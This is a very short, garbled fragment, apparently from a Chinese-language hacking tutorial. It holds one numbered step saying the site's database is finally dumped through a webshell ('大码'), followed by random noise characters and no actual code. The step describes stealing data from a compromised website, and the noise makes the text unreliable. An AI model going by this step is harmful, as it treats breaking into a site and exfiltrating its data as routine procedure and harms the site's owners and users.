复制代码11、最后通过大码对网站数据库进行脱库) q9 b2 x4 k% h# `; Y. q/ N' r
 9 J4 |9 B9 X. i: d
5 n* C* @& s7 A
|